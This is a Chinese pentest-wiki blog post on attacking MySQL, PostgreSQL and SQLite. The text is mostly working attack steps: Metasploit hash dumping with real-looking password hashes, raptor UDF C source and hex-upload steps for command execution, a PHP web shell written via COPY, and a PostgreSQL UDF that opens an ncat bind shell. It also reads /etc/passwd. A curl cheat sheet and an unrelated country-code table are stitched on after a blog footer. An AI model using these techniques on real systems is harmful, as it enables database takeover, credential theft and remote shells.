   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  password         no        The password for the specified username
   RHOSTS    10.0.250.71      yes       The target address range or CIDR identifier
   RPORT     3306             yes       The target port
   THREADS   1                yes       The number of concurrent threads
   USERNAME  mysqlsec         no        The username to authenticate as

msf auxiliary(mysql_hashdump) > run

[+] 10.0.250.71:3306      - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306      - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306      - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306      - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306      - Saving HashString as Loot: debian-sys-maint:*8E970943FBFAA7CF6A11A55677E8050B725D9919
[+] 10.0.250.71:3306      - Saving HashString as Loot: phpmyadmin:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306      - Saving HashString as Loot: freepbxuser:*433D16EECA646A6CCF8F024AD8CDDC070C6791C1
[+] 10.0.250.71:3306      - Saving HashString as Loot: mysqlsec:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306      - Saving HashString as Loot: mysqlsec:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

 

UDF权限提升

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
    unsigned int        arg_count;  // number of arguments
    enum Item_result    *arg_type;  // pointer to item_result
    char            **args;     // pointer to arguments
    unsigned long       *lengths;   // length of string args
    char            *maybe_null;    // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
    char            maybe_null; // 1 if func can return NULL
    unsigned int        decimals;   // for real functions
    unsigned long       max_length; // for string functions
    char            *ptr;       // free ptr for func data
    char            const_item; // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
    if (args->arg_count != 1)
        return(0);

    system(args->args[0]);

    return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
    return(0);
}

$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

将上面的代码编译成一个这样的库文件。接下来,请转换为一个十六进制字符串:

#!/usr/bin/python
# -*- coding: utf8 -*-

# https://www.exploit-db.com/exploits/1518/

# How to upload UDF DLL into mysql server ?
# show VARIABLES;
# select @@plugin_dir;
# SELECT CHAR (...) INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
# SELECT 0xnnnnn INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
# drop function if exists do_system
# create function do_system returns integer soname 'lib_mysqludf_sys.so';
# select sys_exec('id');

# How to Compile UDF Dll ?
# gcc -g -c raptor_udf2.c
# gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

import sys
import binascii


def convert(filename):
    with open(filename) as f:
        print(binascii.hexlify(f.read()))


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("python {} /path/to/lib_mysqludf_sys.so".format(sys.argv[0]))
    else:
        convert(sys.argv[1])

上传该文件, 并用mysql用户定义一个函数 do_system.

mysql > select @@plugin_dir;
mysql > SELECT 0x7f45........0000 INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
mysql > drop function if exists do_system
mysql > create function do_system returns integer soname 'lib_mysqludf_sys.so';
mysql > select do_system('id > /tmp/result.log');
mysql > select load_file('/tmp/result.log');

MOF权限提升

如果mysql部署在windows上,可以尝试用msf:

msf >
use exploit/windows/mysql/mysql_mof
use exploit/windows/mysql/mysql_start_up
use exploit/windows/mysql/scrutinizer_upload_exec
use exploit/windows/mysql/mysql_payload
use exploit/windows/mysql/mysql_yassl_hello

如果有足够的权限,还可以将数据写入os文件(启动,cron等)。

参考链接

  1. http://www.mysqltutorial.org/mysql-cheat-sheet.aspx
  2. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  3. https://www.rapid7.com/db/modules/exploit/windows/mysql/mysql_mof
  4. http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html

postgresql

数据库连接

请连接到postgresql数据库,

lab:~/ $ psql -h 127.0.0.1 -U postgres -W


数据库命令

postgres=# help
You are using psql, the command-line interface to PostgreSQL.
Type:  \copyright for distribution terms
       \h for help with SQL commands
       \? for help with psql commands
       \g or terminate with semicolon to execute query
       \q to quit

postgres=# \h
Available help:
  ABORT                            CREATE FOREIGN DATA WRAPPER      DROP SEQUENCE
  ALTER AGGREGATE                  CREATE FOREIGN TABLE             DROP SERVER
  ALTER COLLATION                  CREATE FUNCTION                  DROP TABLE
  ALTER CONVERSION                 CREATE GROUP                     DROP TABLESPACE
  ALTER DATABASE                   CREATE INDEX                     DROP TEXT SEARCH CONFIGURATION
  ALTER DEFAULT PRIVILEGES         CREATE LANGUAGE                  DROP TEXT SEARCH DICTIONARY
  ALTER DOMAIN                     CREATE MATERIALIZED VIEW         DROP TEXT SEARCH PARSER
  ALTER EVENT TRIGGER              CREATE OPERATOR                  DROP TEXT SEARCH TEMPLATE
  ALTER EXTENSION                  CREATE OPERATOR CLASS            DROP TRIGGER
  ALTER FOREIGN DATA WRAPPER       CREATE OPERATOR FAMILY           DROP TYPE
  ALTER FOREIGN TABLE              CREATE ROLE                      DROP USER
  ALTER FUNCTION                   CREATE RULE                      DROP USER MAPPING
  ALTER GROUP                      CREATE SCHEMA                    DROP VIEW
  ALTER INDEX                      CREATE SEQUENCE                  END
  ALTER LANGUAGE                   CREATE SERVER                    EXECUTE
  ALTER LARGE OBJECT               CREATE TABLE                     EXPLAIN
  ALTER MATERIALIZED VIEW          CREATE TABLE AS                  FETCH
  ALTER OPERATOR                   CREATE TABLESPACE                GRANT
  ALTER OPERATOR CLASS             CREATE TEXT SEARCH CONFIGURATION INSERT
  ALTER OPERATOR FAMILY            CREATE TEXT SEARCH DICTIONARY    LISTEN
  ALTER ROLE                       CREATE TEXT SEARCH PARSER        LOAD
  ALTER RULE                       CREATE TEXT SEARCH TEMPLATE      LOCK
  ALTER SCHEMA                     CREATE TRIGGER                   MOVE
  ALTER SEQUENCE                   CREATE TYPE                      NOTIFY
  ALTER SERVER                     CREATE USER                      PREPARE
  ALTER SYSTEM                     CREATE USER MAPPING              PREPARE TRANSACTION
  ALTER TABLE                      CREATE VIEW                      REASSIGN OWNED
  ALTER TABLESPACE                 DEALLOCATE                       REFRESH MATERIALIZED VIEW
  ALTER TEXT SEARCH CONFIGURATION  DECLARE                          REINDEX
  ALTER TEXT SEARCH DICTIONARY     DELETE                           RELEASE SAVEPOINT
  ALTER TEXT SEARCH PARSER         DISCARD                          RESET
  ALTER TEXT SEARCH TEMPLATE       DO                               REVOKE
  ALTER TRIGGER                    DROP AGGREGATE                   ROLLBACK
  ALTER TYPE                       DROP CAST                        ROLLBACK PREPARED
  ALTER USER                       DROP COLLATION                   ROLLBACK TO SAVEPOINT
  ALTER USER MAPPING               DROP CONVERSION                  SAVEPOINT
  ALTER VIEW                       DROP DATABASE                    SECURITY LABEL
  ANALYZE                          DROP DOMAIN                      SELECT
  BEGIN                            DROP EVENT TRIGGER               SELECT INTO
  CHECKPOINT                       DROP EXTENSION                   SET
  CLOSE                            DROP FOREIGN DATA WRAPPER        SET CONSTRAINTS
  CLUSTER                          DROP FOREIGN TABLE               SET ROLE
  COMMENT                          DROP FUNCTION                    SET SESSION AUTHORIZATION
  COMMIT                           DROP GROUP                       SET TRANSACTION
  COMMIT PREPARED                  DROP INDEX                       SHOW
  COPY                             DROP LANGUAGE                    START TRANSACTION
  CREATE AGGREGATE                 DROP MATERIALIZED VIEW           TABLE
  CREATE CAST                      DROP OPERATOR                    TRUNCATE
  CREATE COLLATION                 DROP OPERATOR CLASS              UNLISTEN
  CREATE CONVERSION                DROP OPERATOR FAMILY             UPDATE
  CREATE DATABASE                  DROP OWNED                       VACUUM
  CREATE DOMAIN                    DROP ROLE                        VALUES
  CREATE EVENT TRIGGER             DROP RULE                        WITH
  CREATE EXTENSION                 DROP SCHEMA

postgres=# \?
General
  \copyright             show PostgreSQL usage and distribution terms
  \g [FILE] or ;         execute query (and send results to file or |pipe)
  \gset [PREFIX]         execute query and store results in psql variables
  \h [NAME]              help on syntax of SQL commands, * for all commands
  \q                     quit psql
  \watch [SEC]           execute query every SEC seconds

Query Buffer
  \e [FILE] [LINE]       edit the query buffer (or file) with external editor
  \ef [FUNCNAME [LINE]]  edit function definition with external editor
  \p                     show the contents of the query buffer
  \r                     reset (clear) the query buffer
  \s [FILE]              display history or save it to file
  \w FILE                write query buffer to file

Input/Output
  \copy ...              perform SQL COPY with data stream to the client host
  \echo [STRING]         write string to standard output
  \i FILE                execute commands from file
  \ir FILE               as \i, but relative to location of current script
  \o [FILE]              send all query results to file or |pipe
  \qecho [STRING]        write string to query output stream (see \o)

Informational
  (options: S = show system objects, + = additional detail)
  \d[S+]                 list tables, views, and sequences
  \d[S+]  NAME           describe table, view, sequence, or index
  \da[S]  [PATTERN]      list aggregates
  \db[+]  [PATTERN]      list tablespaces
  \dc[S+] [PATTERN]      list conversions
  \dC[+]  [PATTERN]      list casts
  \dd[S]  [PATTERN]      show object descriptions not displayed elsewhere
  \ddp    [PATTERN]      list default privileges
  \dD[S+] [PATTERN]      list domains
  \det[+] [PATTERN]      list foreign tables
  \des[+] [PATTERN]      list foreign servers
  \deu[+] [PATTERN]      list user mappings
  \dew[+] [PATTERN]      list foreign-data wrappers
  \df[antw][S+] [PATRN]  list [only agg/normal/trigger/window] functions
  \dF[+]  [PATTERN]      list text search configurations
  \dFd[+] [PATTERN]      list text search dictionaries
  \dFp[+] [PATTERN]      list text search parsers
  \dFt[+] [PATTERN]      list text search templates
  \dg[+]  [PATTERN]      list roles
  \di[S+] [PATTERN]      list indexes
  \dl                    list large objects, same as \lo_list
  \dL[S+] [PATTERN]      list procedural languages
  \dm[S+] [PATTERN]      list materialized views
  \dn[S+] [PATTERN]      list schemas
  \do[S]  [PATTERN]      list operators
  \dO[S+] [PATTERN]      list collations
  \dp     [PATTERN]      list table, view, and sequence access privileges
  \drds [PATRN1 [PATRN2]] list per-database role settings
  \ds[S+] [PATTERN]      list sequences
  \dt[S+] [PATTERN]      list tables
  \dT[S+] [PATTERN]      list data types
  \du[+]  [PATTERN]      list roles
  \dv[S+] [PATTERN]      list views
  \dE[S+] [PATTERN]      list foreign tables
  \dx[+]  [PATTERN]      list extensions
  \dy     [PATTERN]      list event triggers
  \l[+]   [PATTERN]      list databases
  \sf[+] FUNCNAME        show a function's definition
  \z      [PATTERN]      same as \dp

Formatting
  \a                     toggle between unaligned and aligned output mode
  \C [STRING]            set table title, or unset if none
  \f [STRING]            show or set field separator for unaligned query output
  \H                     toggle HTML output mode (currently off)
  \pset [NAME [VALUE]]   set table output option
                         (NAME := {format|border|expanded|fieldsep|fieldsep_zero|footer|null|
                         numericlocale|recordsep|recordsep_zero|tuples_only|title|tableattr|pager})
  \t [on|off]            show only rows (currently off)
  \T [STRING]            set HTML <table> tag attributes, or unset if none
  \x [on|off|auto]       toggle expanded output (currently off)

Connection
  \c[onnect] {[DBNAME|- USER|- HOST|- PORT|-] | conninfo}
                         connect to new database (currently "postgres")
  \encoding [ENCODING]   show or set client encoding
  \password [USERNAME]   securely change the password for a user
  \conninfo              display information about current connection

Operating System
  \cd [DIR]              change the current working directory
  \setenv NAME [VALUE]   set or unset environment variable
  \timing [on|off]       toggle timing of commands (currently off)
  \! [COMMAND]           execute command in shell or start interactive shell

Variables
  \prompt [TEXT] NAME    prompt user to set internal variable
  \set [NAME [VALUE]]    set internal variable, or list all if no parameters
  \unset NAME            unset (delete) internal variable

Large Objects
  \lo_export LOBOID FILE
  \lo_import FILE [COMMENT]
  \lo_list
  \lo_unlink LOBOID      large object operations

 

列出数据库列表

postgres=# \l
                                  List of databases
   Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
-----------+----------+----------+-------------+-------------+-----------------------
 msfdb     | msfuser  | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 postgres  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 template0 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
 template1 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
(4 rows)

 


列出数据库用户列表

postgres=# \du
                             List of roles
 Role name |                   Attributes                   | Member of
-----------+------------------------------------------------+-----------
 msfuser   |                                                | {}
 postgres  | Superuser, Create role, Create DB, Replication | {}

 

Please try more details about postgresql database.


列出目录列表

postgres=# select pg_ls_dir('/etc');
ERROR:  absolute path not allowed
postgres=# select pg_ls_dir('./');
      pg_ls_dir       
----------------------
 postmaster.opts
 postmaster.pid
 pg_logical
 pg_clog
 postgresql.auto.conf
 pg_hba.conf
 cmd.so
 pg_multixact
 postgresql.conf
 pg_ident.conf
 global
 pg_stat_tmp
 PG_VERSION
 pg_dynshmem
 pg_twophase
 pg_xlog
 pg_notify
 pg_snapshots
 pg_tblspc
 pg_serial
 pg_stat
 base
 pg_subtrans
 pg_replslot
(24 rows)

 


文件读取

方法一

postgres=# select pg_read_file('postgresql.conf', 0, 200);
                pg_read_file                
--------------------------------------------
 # -----------------------------           +
 # PostgreSQL configuration file           +
 # -----------------------------           +
 #                                         +
 # This file consists of lines of the form:+
 #                                         +
 #   name = value                          +
 #                                         +
 # (The "=" is optional.)  Whitespace m
(1 row)

 

方法二   漏洞评估

postgres=# drop table pwn;
ERROR:  table "pwn" does not exist
postgres=# CREATE TABLE pwn(t TEXT);
CREATE TABLE
postgres=# COPY pwn FROM '/etc/passwd';
COPY 27
postgres=# SELECT * FROM pwn limit 1 offset 0;
                t                
---------------------------------
 root:x:0:0:root:/root:/bin/bash
(1 row)

postgres=# SELECT * FROM pwn;
                                      t                                       
------------------------------------------------------------------------------
 root:x:0:0:root:/root:/bin/bash
 bin:x:1:1:bin:/bin:/usr/bin/nologin
 daemon:x:2:2:daemon:/:/usr/bin/nologin
 mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin
 ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin
 http:x:33:33:http:/srv/http:/usr/bin/nologin
 uuidd:x:68:68:uuidd:/:/usr/bin/nologin
 dbus:x:81:81:dbus:/:/usr/bin/nologin
 nobody:x:99:99:nobody:/:/usr/bin/nologin
 systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin
 systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin
 systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin
 systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin
 systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin
 systemd-journal-remote:x:999:999:systemd Journal Remote:/:/sbin/nologin
 systemd-journal-upload:x:998:998:systemd Journal Upload:/:/sbin/nologin
 avahi:x:84:84:avahi:/:/bin/false
 polkitd:x:102:102:Policy Kit Daemon:/:/bin/false
 git:x:997:997:git daemon user:/:/bin/bash
 colord:x:124:124::/var/lib/colord:/bin/false
 postgres:x:88:88:PostgreSQL user:/var/lib/postgres:/bin/bash
 lab:x:1000:1000::/home/notfound:/bin/bash
 stunnel:x:16:16::/var/run/stunnel:/bin/false
 dnsmasq:x:996:996:dnsmasq daemon:/:/usr/bin/nologin
 mongodb:x:995:2::/var/lib/mongodb:/bin/bash
 mysql:x:89:89::/var/lib/mysql:/bin/false
 sslh:x:994:994::/:/sbin/nologin
(27 rows)

postgres=# DROP table pwn;

 


写入文件

postgres=# DROP TABLE pwn;
DROP TABLE
postgres=# CREATE TABLE pwn (t TEXT);
CREATE TABLE
postgres=# INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>');
INSERT 0 1
postgres=# SELECT * FROM pwn;
               t                
--------------------------------
 <?php @system("$_GET[cmd]");?>
(1 row)

postgres=# COPY pwn(t) TO '/tmp/cmd.php';
COPY 1
postgres=# DROP TABLE pwn;
DROP TABLE

 


UDF hack

编译源

lab: / $ git clone https://github.com/sqlmapproject/udfhack/

lab: / $ gcc lib_postgresqludf_sys.c -I`pg_config --includedir-server` -fPIC -shared -o udf64.so
lab: / $ gcc -Wall -I/usr/include/postgresql/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
lab: / $ strip -sx lib_postgresqludf_sys.so

 

命令执行   漏洞评估

把udf.so转换为十六进制字符串。

lab:~/ $ cat udf.so | hex

利用数据库特性上传udf.so。

postgres=# INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('079c...', 'hex'));
INSERT 0 1


postgres=# SELECT lo_export(19074, 'cmd.so');
ERROR:  pg_largeobject entry for OID 19074, page 0 has invalid data field size 3213
postgres=# SELECT setting FROM pg_settings WHERE name='data_directory';
        setting         
------------------------
 /var/lib/postgres/data
(1 row)

 

Library类库太大了,我们需要把它分成几块,详情可以查看https://github.com/sqlmapproject/sqlmap/issues/1170.

postgres=# select * from pg_largeobject;
 loid | pageno | data
------+--------+------
(0 rows)

postgres=# SELECT setting FROM pg_settings WHERE name='data_directory';
        setting         
------------------------
 /var/lib/postgres/data
(1 row)

postgres=# SELECT lo_creat(-1);
 lo_creat
----------
    19075
(1 row)

postgres=# SELECT lo_create(11122);
 lo_create
-----------
     11122
(1 row)

postgres=# select * from pg_largeobject;
 loid | pageno | data
------+--------+------
(0 rows)

postgres=# INSERT INTO pg_largeobject VALUES (11122, 0, decode('079c...', 'hex'));
INSERT 0 1
postgres=# INSERT INTO pg_largeobject VALUES (11122, 1, decode('a28e...', 'hex'));
INSERT 0 1
postgres=# INSERT INTO pg_largeobject VALUES (11122, 2, decode('1265...', 'hex'));
INSERT 0 1
postgres=# INSERT INTO pg_largeobject VALUES (11122, 3, decode('c62e...', 'hex'));
INSERT 0 1
postgres=# SELECT lo_export(11122, '/tmp/cmd.so');
 lo_export
-----------
         1
(1 row)

postgres=# SELECT lo_unlink(11122);
 lo_unlink
-----------
         1
(1 row)

 


成功上传library类库, 然后创建postgresql函数.

postgres=# CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/udf64.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE FUNCTION
postgres=# CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf64.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE FUNCTION

 

sys_exec执行命令, 然后什么也没有返回.

postgres=# SELECT sys_exec('id');
 sys_exec
----------
        0
(1 row)

 

执行命令后,清除函数。

postgres=# DROP FUNCTION sys_exec(text);
DROP FUNCTION
postgres=# DROP FUNCTION sys_eval(text);
DROP FUNCTION

 

绑定shell 漏洞评估

// bind shell on port 4444
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

text *exec()
{
    system("ncat -e /bin/bash -l -p 4444");
}

 

编译源码

lab:postgres_cmd/ $  vim nc.c
lab:postgres_cmd/ $  gcc nc.c -I`pg_config --includedir-server` -fPIC -shared -o nc.so
lab:postgres_cmd/ $  strip -sx nc.so

复制nc.so到postgresql的tmp目录, 或者你可以利用数据库特性上传so文件.

lab:postgres_cmd/ $  sudo cp nc.so /tmp/systemd-private-374c1bd49d5f425ca21cca8cc6d89de7-postgresql.service-SKrVjI/tmp/nc.so

 

为绑定shell创建执行函数,用客户端连接到目标.

postgres=# CREATE OR REPLACE FUNCTION exec() RETURNS text AS  '/tmp/nc.so', 'exec' LANGUAGE C STRICT;
CREATE FUNCTION
postgres=# SELECT exec();
server closed the connection unexpectedly
    This probably means the server terminated abnormally
    before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.

 


METASPLOIT POSTGRESQL模块

use auxiliary/admin/postgres/postgres_readfile
use auxiliary/admin/postgres/postgres_sql
use auxiliary/scanner/postgres/postgres_dbname_flag_injection
use auxiliary/scanner/postgres/postgres_login
use auxiliary/scanner/postgres/postgres_version
use auxiliary/server/capture/postgresql
use exploit/linux/postgres/postgres_payload
use exploit/windows/postgres/postgres_payload

 

参考链接

https://github.com/sqlmapproject/udfhack/
https://github.com/sqlmapproject/sqlmap/issues/1170
http://zone.wooyun.org/content/4971
http://drops.wooyun.org/tips/6449
http://bernardodamele.blogspot.com/2009/01/command-execution-with-postgresql-udf.html

sqlite

sqlite_hacking

连接数据库

让我们开始在命令提示符下键入一个简单的sqlite3命令,它将为您提供SQLite命令提示符,您将在其中发出各种SQLite命令。

┌─[lab@core]─[~/share/pentestlab/Darknet]
└──╼ sqlite3 temp.db
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter ".help" for usage hints.
sqlite> .help
.backup ?DB? FILE      Backup DB (default "main") to FILE
.bail on|off           Stop after hitting an error.  Default OFF
.binary on|off         Turn binary output on or off.  Default OFF
.clone NEWDB           Clone data into NEWDB from the existing database
.databases             List names and files of attached databases
.dbinfo ?DB?           Show status information about the database
.dump ?TABLE? ...      Dump the database in an SQL text format
                         If TABLE specified, only dump tables matching
                         LIKE pattern TABLE.
.echo on|off           Turn command echo on or off
.eqp on|off            Enable or disable automatic EXPLAIN QUERY PLAN
.exit                  Exit this program
.explain ?on|off?      Turn output mode suitable for EXPLAIN on or off.
                         With no args, it turns EXPLAIN on.
.fullschema            Show schema and the content of sqlite_stat tables
.headers on|off        Turn display of headers on or off
.help                  Show this message
.import FILE TABLE     Import data from FILE into TABLE
.indexes ?TABLE?       Show names of all indexes
                         If TABLE specified, only show indexes for tables
                         matching LIKE pattern TABLE.
.limit ?LIMIT? ?VAL?   Display or change the value of an SQLITE_LIMIT
.load FILE ?ENTRY?     Load an extension library
.log FILE|off          Turn logging on or off.  FILE can be stderr/stdout
.mode MODE ?TABLE?     Set output mode where MODE is one of:
                         ascii    Columns/rows delimited by 0x1F and 0x1E
                         csv      Comma-separated values
                         column   Left-aligned columns.  (See .width)
                         html     HTML <table> code
                         insert   SQL insert statements for TABLE
                         line     One value per line
                         list     Values delimited by .separator strings
                         tabs     Tab-separated values
                         tcl      TCL list elements
.nullvalue STRING      Use STRING in place of NULL values
.once FILENAME         Output for the next SQL command only to FILENAME
.open ?FILENAME?       Close existing database and reopen FILENAME
.output ?FILENAME?     Send output to FILENAME or stdout
.print STRING...       Print literal STRING
.prompt MAIN CONTINUE  Replace the standard prompts
.quit                  Exit this program
.read FILENAME         Execute SQL in FILENAME
.restore ?DB? FILE     Restore content of DB (default "main") from FILE
.save FILE             Write in-memory database into FILE
.scanstats on|off      Turn sqlite3_stmt_scanstatus() metrics on or off
.schema ?TABLE?        Show the CREATE statements
                         If TABLE specified, only show tables matching
                         LIKE pattern TABLE.
.separator COL ?ROW?   Change the column separator and optionally the row
                         separator for both the output mode and .import
.shell CMD ARGS...     Run CMD ARGS... in a system shell
.show                  Show the current values for various settings
.stats on|off          Turn stats on or off
.system CMD ARGS...    Run CMD ARGS... in a system shell
.tables ?TABLE?        List names of tables
                         If TABLE specified, only list tables matching
                         LIKE pattern TABLE.
.timeout MS            Try opening locked tables for MS milliseconds
.timer on|off          Turn SQL timer on or off
.trace FILE|off        Output each SQL statement as it is run
.vfsname ?AUX?         Print the name of the VFS stack
.width NUM1 NUM2 ...   Set column widths for "column" mode
                         Negative values right-justify

 


生成

常见的sqlite功能(注释,concate,substr,十六进制,引用,….)

sqlite> select 1; -- comments
1
sqlite> select 'hello ' || 'world';
hello world
sqlite> select substr('hello world', 1, 3);
hel
sqlite> select hex('a');
61
sqlite> select quote(hex('a'));
'61'
sqlite> PRAGMA database_list;
0|main|/tmp/evil.php
2|pwn|/tmp/evil.php
sqlite> PRAGMA temp_store_directory = '/tmp';
sqlite>

 


读文件

sqlite>
sqlite> CREATE TABLE pwn.data (data TEXT);
sqlite> .tables
data      pwn.data
sqlite> .import /etc/passwd data
sqlite> select * from data;
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
......
......
sqlite> .tables
data       pwn.data   pwn.shell  shell    
sqlite> DROP TABLE pwn.shell;

 


写文件

sqlite> ATTACH DATABASE '/tmp/evil.php' as pwn;
sqlite> CREATE TABLE pwn.shell (code TEXT);
sqlite> INSERT INTO pwn.shell (code) VALUES ('<?php phpinfo();?>');
sqlite> .quit
┌─[✗]─[lab@core]─[~/share/pentestlab/Darknet]
└──╼  file /tmp/evil.php
/tmp/evil.php: SQLite 3.x database
┌─[lab@core]─[~/share/pentestlab/Darknet]
└──╼  strings /tmp/evil.php
SQLite format 3
Itableshellshell
CREATE TABLE shell (code TEXT)
1<?php phpinfo();?>

 


命令执行

sqlite> .shell id
uid=1000(lab) gid=1000(lab) groups=1000(lab)
sqlite> .system id
uid=1000(lab) gid=1000(lab) groups=1000(lab)

 


参考链接

http://www.tutorialspoint.com/sqlite/
http://atta.cked.me/home/sqlite3injectioncheatsheet

curl_hacking

常见操作

curl http://curl.haxx.se
curl http://site.{one,two,three}.com  
curl ftp://ftp.numericals.com/file[1-100].txt  
curl ftp://ftp.numericals.com/file[001-100].txt  
curl ftp://ftp.letters.com/file[a-z].txt  

curl http://any.org/archive[1996-1999]/vol[1-4]/part{a,b,c}.html  

curl http://www.numericals.com/file[1-100:10].txt  
curl http://www.letters.com/file[a-z:2].txt  

curl -o index.html http://curl.haxx.se/  
curl http://curl.haxx.se/ > index.html  

curl -# http://curl.haxx.se/ > index.html  

curl -0 http://curl.haxx.se/  
curl --http1.1 http://curl.haxx.se/  
curl --http2 http://curl.haxx.se/  

curl -1 http://curl.haxx.se/  
curl --tlsv1 http://curl.haxx.se/

curl -2 http://curl.haxx.se/  
curl --sslv2 http://curl.haxx.se/

curl -3 http://curl.haxx.se/  
curl --sslv3 http://curl.haxx.se/

curl -4 http://curl.haxx.se/  
curl --ipv4 http://curl.haxx.se/

curl -6 http://curl.haxx.se/  
curl --ipv6 http://curl.haxx.se/

curl -A "wget/1.0" http://curl.haxx.se/  
curl --user-agent "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" [URL]
curl --user-agent "Mozilla/4.73 [en] (X11; U; Linux 2.2.15 i686)" [URL]

curl -b "phpsession=Testtest" http://demo.com/    
curl --cookie "name=Daniel" http://curl.haxx.se

curl -c cookies.txt http://curl.haxx.se/  
curl --cookie-jar cookies.txt http://curl.haxx.se

curl -d "username=admin&password=pass" http://curl.haxx.se/  
curl --data "birthyear=1905&press=%20OK%20"  http://curl.haxx.se/when.cgi
curl --data-urlencode "name=I am Daniel" http://curl.haxx.se
curl --data "<xml>" --header "Content-Type: text/xml" --request PROPFIND url.com

curl -e "http://referer" http://demo.com/  
curl --referer http://curl.haxx.see http://curl.haxx.se

curl --header "Host:" http://curl.haxx.se
curl --header "Destination: http://nowhere" http://curl.haxx.se

curl -D - http://curl.haxx.se/  
curl --dump-header headers_and_cookies http://curl.haxx.se

curl -L http://github.com/  
curl --location http://curl.haxx.se

curl --dns-servers 8.8.8.8 http://demo.com/  

curl --trace-ascii debugdump.txt http://curl.haxx.se/
curl --form upload=@localfilename --form press=OK [URL]
curl --upload-file uploadfile http://curl.haxx.se/receive.cgi
curl --user name:password http://curl.haxx.se
curl --proxy-user proxyuser:proxypassword curl.haxx.se

curl --cert mycert.pem https://secure.example.com

 


参考链接 漏洞评估

$ man curl
http://curl.haxx.se/docs/manual.html
http://curl.haxx.se/docs/httpscripting.html
http://httpkit.com/resources/HTTP-from-the-Command-Line/

参考链接 漏洞评估

  1. http://www.exploit-db.com/
  2. http://www.cvedetails.com/
  3. http://packetstormsecurity.com/
  4. http://www.securityfocus.com/bid
  5. http://nvd.nist.gov/
  6. http://osvdb.org/
  7. http://cve.mitre.org/
  8. http://sec.jetlib.com/
  9. http://0day.today/
  10. https://www.seebug.org/
  11. https://www.rapid7.com/db/
  12. http://zerodayinitiative.com/advisories/published/
  13. http://exploitsearch.net/
  14. http://nvd.nist.gov/download/nvd-rss-analyzed.xml
  15. http://www.intelligentexploit.com/
  16. https://wpvulndb.com/
  17. http://www.wordpressexploit.com/
  18. http://www.drupalexploit.com/
  19. http://www.openwall.com/lists/oss-security/
  20. http://exploitsearch.net/
  21. https://www.vulnerability-lab.com/
    from

The post 漏洞评估 渗透测试第二部分 Pentest Wiki Part2 appeared first on 🔰雨苁ℒ🔰.

国际域名缩写 国家代码 地区中英文对照表

$
0
0

国际域名缩写 387个暗网网址

国际域名缩写 HTML格式查看

国际域名缩写

国际域名缩写  国家或地区	Countries and Regions

AD	安道尔共和国	Andorra
AE	阿拉伯联合酋长国	United Arab Emirates
AF	阿富汗	Afghanistan
AG	安提瓜和巴布达	Antigua and Barbuda
AI	安圭拉岛	Anguilla
AL	阿尔巴尼亚	Albania
AM	亚美尼亚	Armenia
AO	安哥拉	Angola
AR	阿根廷	Argentina
AT	奥地利	Austria
AU	澳大利亚	Australia
AZ	阿塞拜疆	Azerbaijan
BB	巴巴多斯	Barbados
BD	孟加拉国	Bangladesh
BE	比利时	Belgium
BF	布基纳法索	Burkina-faso
BG	保加利亚	Bulgaria
BH	巴林	Bahrain
BI	布隆迪	Burundi
